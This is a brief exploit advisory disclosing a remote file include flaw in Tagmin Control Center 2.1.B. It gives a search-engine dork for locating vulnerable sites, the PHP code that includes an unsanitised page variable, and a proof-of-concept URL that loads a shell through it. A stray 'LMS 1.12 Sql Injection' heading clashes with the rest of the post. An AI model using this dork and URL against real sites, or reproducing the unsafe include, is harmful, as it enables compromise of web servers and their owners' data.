Tagmin C.C 2.1.B Remote File Include

Tagmin C.C 2.1.B Remote File Include
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+Advisory #3
+LMS 1.12 Sql Injection
+Product :Tagmin Control Center 2.1.B
+Develop: http://ds3.bbminc.net/tagit2b/
+Dork: inurl:"/tagit2b/"
+Vulnerable: Remote File Include
+Risk:High
+Discovered:by Kernel-32
+Contact: [email protected]
+Homepage: http://kernel-32.blogspot.com
+Greetz: BeLa ;)
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Vulnerable code:

if(isset($_GET['load']) && $_GET['load'] == "dtu" or $_GET['load'] == "tag") {
include("$page.php");
}
else {
include("tagviewer.php");
}
?>

Vulnerable:
http://site/path/index.php?page=shell